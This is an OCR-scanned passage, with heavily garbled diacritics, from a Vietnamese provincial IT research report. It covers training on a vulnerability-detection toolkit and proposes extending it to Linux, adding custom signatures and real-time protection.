+ Noi dung: S& trinh S& KH&CN phé duyét né1 dung.
- T6 chirc tip hudn bo giai phap va cong cy:

+ Thanh phén tham dy: Quén tri mang cla cic S& nganh, huyén thi
thanh phd, cac co quan dang, doan the.

+ Thoi gian: Thang 3-4/2007.

+ Néi dung: T4o huén b gidl phdp va cdng cu Vulnerabilities Detector
and Analyser 1a két qua cua Pé tai.

1/ MOT SO PE XUAT VA HUONG MG RONG PHAT TRIEN CUA PE TAI

Ngodi cac myc tiéu dd néu lén tir truéce trong dé tai, tren co s& cia céc két qua

da dat duoc, ching t0i dé xuit mot so dinh huéng phat trién cia dé tai trong giai
doan t6i nhu sau:

1./ Mgt s6 dinh hwéng huéng phat trién
e Md rong bd cong cu dé phat trién thanh mot dich vu trén mang hoan chinh.

s B sung chirc ning, xiy dung mot server bio mét cé kha nang cung cap cac
chirc niding va dich vu bao mat khéc nhau trén mang cho cic hé thong thong
tin. :

o Do su phit trién img dung cua cac hé thong thong tin dién tir nén bd cong
cu cin dugc mé rong va phat trién 1én cac méi truong UNIX, LINUS va céc
mdi trudng phat trién img dung khéc.

Cu thé hon, chiing t6i d& nghi cic n6i dung cin phat trién thém nhu sau:
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* Huémg phit trién vé giai phap:

- Xay dyng thém cac quy trinh cho cac hé théng mang chuyén dung cho tmg
loai hinh nghiép vu.

- Xay dung cho hé thdng mang Linux, Linux két hop Windows.

* Hwéng phit trién vé cong cu:

- Bd sung thém cac chirc ning cho phép ngudi ding cap nhét thém 16i méi.

B sung thém co ché phdt hién diém yéu hé thdng khéng phai cia
Windows.

Cho phép ngudi quan tri dinh nghia cac dang diém yéu cua hé thong minh
qua cac diu hiéu dic tnmg va dua vao d6 dé phat hién cac diém yéu.

Bb sung co ché bao vé real-time.

Hé trg cho mdi trudng Linux.

2./ Mt sb gidi phap

o Vi quz’m Iy: Can nhanh chéng dua san phim ctia d@ tai phd bién va 4p dung
cho cac HTTT trén mang cua cac co quan quan ly nha nudc tinh BR-VT,
dong thoi dé tang tinh chuy€n nghiép héa va néng cao chit lwong san phim
cdn c6 sy quan tam va diu tr thich “hop ctia UBND, S&¢ KH&CN va céc co

quan hiru quan khac trong tinh dé két qua cia d8 tai ¢6 thé tré thanh mot san
pham CNTT hi&u qua mang thuong hiéu cia tinh.

o Vécong nghé: Cén ¢6 y kién phan hbi va dé xuat ciia céc don vj ting dung
trong tinh @& c6 thé xac dinh chinh x4c cdc nhu cdu ciing nhu tinh ning cia
cac san phdm CNTT néi chung va ciia linh vire bao mat théng tin noéi riéng
trong tuong lai.
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